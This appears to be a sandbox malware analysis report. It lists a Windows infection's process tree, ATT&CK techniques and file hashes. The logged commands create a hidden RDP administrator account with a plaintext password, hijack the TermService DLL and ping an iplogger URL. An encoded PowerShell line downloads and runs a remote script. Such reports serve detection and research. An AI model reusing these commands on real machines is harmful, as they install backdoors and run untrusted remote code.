C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kqh0u3x2\kqh0u3x2.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES27DF.tmp" "c:\Users\Admin\AppData\Local\Temp\kqh0u3x2\CSCF6B8F104C42C4B94BA9B506E82DB6FD.TMP"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
-
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
-
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
-
C:\Windows\system32\net.exenet start rdpdr5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
-
C:\Windows\system32\net.exenet start TermService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵
-
C:\Users\Admin\AppData\Local\Temp\C328.exeC:\Users\Admin\AppData\Local\Temp\C328.exe1⤵
-
C:\Users\Admin\AppData\Roaming\build.exe"C:\Users\Admin\AppData\Roaming\build.exe"2⤵
-
C:\Windows\system32\cmd.execmd /Q /C move /Y C:\Users\Admin\AppData\Roaming\build.exe C:\Users\Admin\AppData\Roaming\Microsoft\RTHDCPL.exe3⤵
-
C:\Windows\system32\cmd.execmd /Q /C reg add "HKCU\Software\Microsoft Partners" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft Partners" /f4⤵
-
C:\Windows\system32\cmd.execmd /C "attrib +S +H C:\Users\Admin\AppData\Roaming\Microsoft\RTHDCPL.exe"3⤵
-
C:\Windows\system32\attrib.exeattrib +S +H C:\Users\Admin\AppData\Roaming\Microsoft\RTHDCPL.exe4⤵
- Views/modifies file attributes
-
C:\Users\Admin\AppData\Roaming\88.exe"C:\Users\Admin\AppData\Roaming\88.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\clean.exe"C:\Users\Admin\AppData\Roaming\clean.exe"2⤵
-
C:\Windows\SysWOW64\curl.exe"C:\Windows\System32\curl.exe" https://iplogger.org/2rXS572⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 5152 -ip 51521⤵
-
C:\Users\Admin\AppData\Local\Temp\D848.exeC:\Users\Admin\AppData\Local\Temp\D848.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\D848.exe"C:\Users\Admin\AppData\Local\Temp\D848.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7460 -s 18802⤵
- Program crash
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 7460 -ip 74601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 7392 -ip 73921⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc Ghasar4f5 /del1⤵
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc Ghasar4f5 /del2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc Ghasar4f5 /del3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc DxcwtYH3 /add1⤵
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc DxcwtYH3 /add2⤵
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc DxcwtYH3 /add3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" YJTUIPJF$ /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" YJTUIPJF$ /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" YJTUIPJF$ /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc DxcwtYH31⤵
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc DxcwtYH32⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc DxcwtYH33⤵
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Modify Existing Service
2Account Manipulation
1Hidden Files and Directories
2Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Modify Registry
3Disabling Security Tools
1Virtualization/Sandbox Evasion
1Hidden Files and Directories
2File Permissions Modification
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868MD5
8d729e550c8be76c2e3dfadda93762a1
SHA1789faf5430ed0524861b4966b1e27d995cecad6f
SHA25620084878e9bbceaf16d925dbb0087b5cea5ed59d0507ed0a236047bfc0eb55c3
SHA512d857ce06b79d28dc7286e43f3e0af9232a797ea4fd4367d8b9e2da32019645bd917939e88f9ad556f1a82a513a5156da0e00acdaa5ecac6d9528e267bb5671a3
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868MD5
1c8740bcd1b6fb6328b1097e0ca725d9
SHA18d1c194fe629e3368a1fab65831b706b686a180c
SHA256789ac073821a0adfff02dc21b8081195fd8ef7022e90cfb1ca5c29805acfb394
SHA5129f00e3937ab536678a5a17b46bc96d3c2bed7286523d4e5a0f2b8fc1cddd40cdbc8e1861ecb9b6fbac9b6497b543c623e080a480d2e05bb4a70fb41041e38b04
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datMD5
a2fe2972c1054ade67296c5f0257be0a
SHA11ccafd0282ab039ae624ffb0fa5d2203e18ef78e
SHA2560785cd2a6ab2abb13394da20061a7768cef827de5764c76d00e38bca17202bcf
SHA51263c508b4c2897918a038764750c05793828e12167a636baf526c0505da766f8add89678eb82a3acda083e8cfec00fa002ce8648b33088e9a5222927823bd2db7
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\data_0MD5
07a30b5f49afb33a56e44859cae6dc75
SHA162f3dffba1b0977cc5eb855c864b12b21340c341
SHA25654724a43c90355bb0682efd83e834fa10b871c1ad56dda018ea120c2a0f25d27
SHA5127545ad3958b4f4aa49ce075306710f67e1060287e4193f2e67115311528c1f80f0615650b6d5a146ed0daa58aefb6710e3ba792ad942b684b609c542223ffe10
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\data_1MD5
a5643c84bce4990becfe26c6974059a8
SHA1e9ce7e10c4a927c8f615333a0bf32c3cfe48d508
SHA256a45864563b7e5d4a8b36cbc2967f8a9eb8d7a7b3daef96456864c36896dd8ce3
SHA512f809ec719108d4044118b3dc87c76ed14f609a7ffc37393d60fd3bc54689077ee15a908178c1e72346398a3c4bdf43a6f62431b6a810ca3dac009c7fd8c73d86
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\data_2MD5
1fb87848826d6e890107a2d2535b2c1c
SHA1e97f1b29f5bef18d47d108f48f1efbf0fa9fcd0e
SHA256eb527d7448586af2243e124ff9a34b5d9c1d70f3cb004f057e384e429f07d322
SHA5123f1596414401c00035f0f9fdc9e48bf182f7808966096a84cb62f2fb8a9e77babc2e2037dbb558905b2f10a66081adc3d7eb62e543acf856102d9730caddbafb
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\data_3MD5
018c0de60b7de2a6e87c98d53b546598
SHA12e289c35289be3ac01bf933c10839831d4a63cc1
SHA2562626838bfde6bfc4a7b420016e65904269025c6249eb529ce834583eba6babe5
SHA51282033fd43942fb6ae87ff3acb0d791cde508a83a5b96104faebf08046f758150c6428652772912a17cf3285949697e2f841d0e30fc3cbe4856ba8672aee4f8ca
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\CookiesMD5
c2fe14a9775057c151cfbf5808fbc57a
SHA12f9e10b39772bc57b5c4fa31ab1386e457d6e607
SHA25655fd9999e1f49f27f3faf9f0cb21e6a225bf81cf368df0410cb8dacb9b456533
SHA5129f38be7fe671aca79e1f0b4e24c790393be60392acc5047128255119ef815e0a1e43e0bd4ea21898570be8539d1c9f152e7b2d2e8435465e16bb2d0ec0a53315
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies-journalMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOGMD5
a80a97d6ae6b8e62b8fb234ced4c4850
SHA12e7b55bd8979f3cd37f8481c10f73a742e932684
SHA2563134f165930239be5f28339cff4e30ff05995e70ae391373572fc8f6e3a54dea
SHA51222940391b43dfc113d6e03608a9c02bfc33ea82aba16a66bb028827fe56bc6aaf61605074d3c32f44a2418b269812d19bf95bbf685d7352e9b8a088bbfe8b3be
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1MD5
f50f89a0a91564d0b8a211f8921aa7de
SHA1112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA256b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
SHA512bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HistoryMD5
cea8f154761d59ef28ee3d3b7f4ca92a
SHA199368a7beafdc4722723e4e78402a19a4432e5bc
SHA2566cda84df29937b8fd8e3c1498308ed72e9a72353a7a6c04cdfa83bad070c205d
SHA51270c3a4c010b6c5d07ecda4f87896a901b040525f420e3ca405369a73f21ef7088484999cf7a36fbe394de03c218d2cc6c960e9147142acb37a4af9b5ddf90739
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History Provider CacheMD5
bcb3bbfe5ac8d982a8935dcef612773e
SHA1f20b2f2ee87c37f90b228709d80124ab1a8f6d04
SHA256716b9f67f8352115bed3d3bff6cf91e5ebf568abce532755889bffa86c85d909
SHA512e4f9a94a1e2e8cdfd2bc651330929e904ced54602f292b619ce83747c372e83cd8bdcf378d6ed7ec4b5fefe83b51b8ebd61c5891a6c8d1bee34f66533dc45598
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOGMD5
25883ff861d9372cdce91a9e82d7168e
SHA1e4daec53abb6f8b810fcea59a3912bee8f28ff21
SHA2564ed5913dd46ade9a7e3fdebc3ecacefd1a086eee43986a80e8006e0c0d96e9c4
SHA512d67ed90f2eaf65c6df820844a678454b2a97f2ac4d3ba0eac16c179a7981a1844d6cbe17dea139c7d5a4304bb328e8f8a12d0a8a54d523758220dc25dc8da954
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent StateMD5
a880e08b1b5741943a450b85fe4d6894
SHA17940ae7489f846791e4af2315276e3996ab00c2f
SHA256ba9bea6da4f9b78c490de8d5fcaecdb08aa2252a2ef3e574f8de95074de89836
SHA512f49ff375b0cbcd17e167daea8ac8ffac1db97cf9b438131a594c80a53cff424033ab27c3bd461cc2f3c3ed14d76e91907b99d33185b42637ca0a00ad0cc71a9a
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\PreferencesMD5
ccd2e8d6b132c0693d22e384f97f1b1f
SHA16dc971f3336190855f65c5a3022c23915338ac66
SHA25632bbd0abbd4d57c5afe5deee987cffd425d1aed4ee4d0f98ea2810812b6a5682
SHA51266b349346c9fffcf4bc43b076c872170efd0f14afe52bd6c9b5688f091052ee56f9af227820a8439036cf26e014046fd27e08ea026945e67bd1b3f44ddb439c8
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.logMD5
c036a5875b30486f37339ca50c677a08
SHA11055168a4505083c3f4af6dca3e86897c353f081
SHA25640b34fbd8354c2d27a86d58af91dacd45f8e044dc6a69d7534725f3f0bf003ee
SHA512c66057499338c81fc73fafe56bb155f98f332d5e562757b43d5795584feb5c7f74a5738ddd027303726e8aec303e00ad54a42b87617897226aad16418757cb17
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOGMD5
22a8ac205969ae3a2982ba2c4322d5bc
SHA1d14e2c864d501b934b4b67e041cebef1a3de0cbd
SHA256425e4cfd15903df7ed8fa6a6f80defbf47f8c9b2ce6b9f5a4eee037e5574348e
SHA512b3c4552efc03b909206e4c7cd50f3fd114fa95a4c151949854c538f9b97e9f416826a48dc8ef07bc48d347f94b02f188aaa4eea3424fbaab3b9f92f2ad5e29b3
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.logMD5
cff77e9799a0eaa7948697a11b14ae17
SHA14da1fd2f416a43bcabbfc81183ada340e2c90e73
SHA2561c75b6a473b0a94088807c3208f6537af37bef3518011d7a778b530395f3a64f
SHA51205dc9a7fe30c465c6d3f52cf3ddf3606548882d38d755d30926d46980e584501ef7ce166cce600f7adeaa3d528dc1b4a122fde143a647706afabb60df82911eb
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOGMD5
aead16bf9bf191d9a3c64e1ecb5a9f5b
SHA107272a3fee96e946261533860617c97026fdaf77
SHA25642fbccc8c7aa3cc4fb674a63e58377e0aa958924bba2a75b7145f5e743c1fe6b
SHA5121eafa6a1494aeb0cedc5f214eabd5ef61eb6f809995036dc21bd39bef218137e505b84a55271da5400a1550e1bf21720bcf3897ae629540bd3f936a30c3acef2
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13279215402625324MD5
956247c6ec7258ce319a9c1c72c278d0
SHA1e98791930171ee112ad281074b9dbf3d9c2a4809
SHA25655c9e34ad5f85d76e8a4b83cf20dbae49ae72cd3bfe994e5f6a0adf9800a0898
SHA512c0587215593dd6706aec77c497ebde2fd2d1fb77f14ff53c37779e709c5842856ea2f60df00439cee8540fc476331962749d75ec0698ec79a7381c24bdcdb41f
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Tabs_13279215402768324MD5
784892fe2d73c7f0973ed41706666e6d
SHA1bd48bb4172d3d1eb73fb010f15a4db4a6f5bc949
SHA256a041c2bbe88d32f6ad18397d7dc7eaf6bf18c38b12f39464c23856d5d1c9e679
SHA51264c64fe22063086dab93c1b22ec3c21e4a3a4132ee90cc623605d9854430ba52068659c0eba7ab560c6216a41f7c936e67a2dd1c971c174593c4e2d21c4a06b8
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOGMD5
ac7810202f2056df5d3b07b737d6c210
SHA1e1e6acff60690965e58f750bc3a3a786daefc1cc
SHA256c7edf5bd816030e08b09d7f61c7172839ee273ad15ee0e5b4479273d5ef1da85
SHA5128e89141132d936d579f9e0dd8832cd060385e87e4e11e19babcd99c69182ae4c442f6bdb130bd5f1dd48c46c47ba843a4b8c4d31936ffa8eb51aab435b29410c
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOGMD5
07c68f445853cc04f16be03645cd0169
SHA1c10f4f45787e359854c37291c1d35be66f10d06b
SHA256bca069be7e57777a51703a47a9a07fb822d12efcdc80c709ec636c1d6bde0109
SHA5123c4299b626d0d0e1018d358d9ecd95499d6104fb4c9c9e3f808168a41892b3b3338c5a45ca1f96fc0d656e68f72e4e1916dd813cd61b8e8cbee1d6c16cefd47f
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurityMD5
6f36a1b5fdbfa97ecec9851925716ccf
SHA13f874b476efd5d7bc7cbece5e140c476bf03bd39
SHA256c33930db28ec845d250e79780850f17066d3a089004b32deffc14fb59886a4bc
SHA5124b22f6d7fa6150c9bef0cfd19e40212cf275995aff41a3ac526e38d7125d6cfa587ec17a045f46437e179ba42fd34f7f024bcb3ad565525772c5b837ee20f773
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Visited LinksMD5
3c1015b23041c3077f5591464df13253
SHA1d40cdff8d10ced6720fbe280c8dbf76b73214242
SHA25673b04668c57af92449c0cd80a1c32cb22cb0680cc68a71ddde992667eaa6fe95
SHA512de35ee59f50410024d15342dbd07794e347e6bbd879ad6d0de27af74dd5afe3eb86860a8891d3726095cbba5844949ffb9a09670c54212b15faccdf707faa353
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.dbMD5
dfc986655281f9c9150b76d4056420f1
SHA19b4b333f5cd336cba6a1f0648cf551c5397cd854
SHA25637bbe12ab399a7a36dde0b6083ffb34243554562e933ec7a72f90048904abcbd
SHA51210c3f7999dd855489c2eb3f1ad9221535948e8bcaf4abaad4daa12f9f7c9e9783fdf43c0b9b93dda6ba59cb7c0b7a5e9dd63acc36b8c1ec731c7cd4dcdfc1933
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOGMD5
e380bef241019cba569de89ae2de2bd7
SHA1655320deb1b62d9bbee09a508ee9799ee2f80223
SHA256bd8111f70f6f06a31721da476a35323499dfe99ed666759db421b52ee5cd4077
SHA512a52784370a01955a6865916c03e06a30dd80c38b0a7345c83f8a70bedd0656314dfdc27f8b1e1dae462ae71dfc4ae3f55e3025aa541a484a8e97ed2f6518817d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.logMD5
62d9cdf788fd70cdb142107de3889e21
SHA15aceb62ed695b0179c8a1b5f27f76f83db5fbd7e
SHA256cd58ae0749c3d681109ebbd5f1ee3dae26c29282336feb07837d990f0148d988
SHA51286a3862f7ec56975fb186a6ae12c9adb5712b1020f819fe882c2ea77f3c681c79e32b56fbbf671d71ecb339041c11d9b85c8489fcbee5bfa5736889de1e14335
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOGMD5
bfdfe3308c4b79c9772c2d3d6e5b50d3
SHA134686bdaabf3ea9fc524d58c071b6c4aecea57af
SHA256d4d734373d418ff092e1b406c11a3380d3cea9013bf295c008942487c836471a
SHA512119ed1fdd4425945a2702f92964122fccfad44509a5a48a79ec3be08fb6575e68cb38a533ba46f0cfd9fd8b3c9732357fa162279f0d6fa2c1ba881146280141e
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_1MD5
f50f89a0a91564d0b8a211f8921aa7de
SHA1112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA256b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
SHA512bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last VersionMD5
74192ac76d9a4902d5cd66dd037ba596
SHA186902716cc3d9884f1028cbfa5c04af482c12823
SHA2564c7e33ab675acaa508d78e7e0a39c944000cb7e1a2e96605652aee2b162559bc
SHA51275702248c344655bacc0b2a106a24d497c53a33b4d3f40c1d439fb40f9b93eaa644afe7aa1a25abca743128b67e5a0d2bfa08e2c3c3f592bc64aa37a3094f2d4
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local StateMD5
caf112664e74f554a903e64128c9063b
SHA1f67418589f7a91e3c6c4632c91003bd48c923d3b
SHA256297d1507e8790798602b8481f2aafa97ea16e3a863879d438f36b9f48a779a89
SHA512403130fb5e5fcb258fcd7bfb9775372cf724d82e2f06044d4a2e9489336c92e257db8336d517c01450b5853169d7e9411319b573fd63c85db288f8fae460dd5e
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1MD5
f50f89a0a91564d0b8a211f8921aa7de
SHA1112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA256b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
SHA512bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\synchronousLookupUrisMD5
a267101529bd1562a89d964c5707cd6e
SHA1fdc760799cdf5801aa36b24a37736b9db28fbeda
SHA256b04c8b7a847477987d62d596d92e335118a4e4152c6edfbad84b9c75767af431
SHA5127a1c466e1b763b24bf8ce0b7bae9a4aa8ffe4b0e0423e0ec8a0c7ba65fde4e457c18f343ecce1324ba674e3859fb179b7447ecaefab08a3be170ee5438262b11
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\synchronousLookupUris_637703357544225098MD5
cb10acf25007f021e4e79fd17d7a1fbf
SHA17c3b31c1a257020545a0fe1a2cab92e77fe96f63
SHA25685506dfebc6f940796d54b501d94d0f8bfe6ec07a8cbb1fb0412cf7a3d94a0e3
SHA5122470ece382b3dad61f2a67c8288baac4d983a17a324d899eea64069282ea0a4655a925ee6ef59bec013485e33007f507819d92be02a598bd0b05b1c59b98824f
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\edge_shutdown_ms.txtMD5
40d9d01f31938e5c0ed1a63ec999cedf
SHA191369308c680b30773043eb19097b8e2257f5cd4
SHA256eaf1efd955812921372597b4c3208a2ce2e1270ca505450b5d2678a4906623c0
SHA512ece139ccf31c3f19b92841c1bd3d11759cb1c4b6136994c19b8b019baf0485069b7cbd065eae867091aa80bb02633f5816b1b9a9d519fbfa56d13216670446dc
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exeMD5
65b49b106ec0f6cf61e7dc04c0a7eb74
SHA1a1f4784377c53151167965e0ff225f5085ebd43b
SHA256862a8cf0e5561c848145a1a1f464acf77f92a3b15cc43722a7208701f60a2fcd
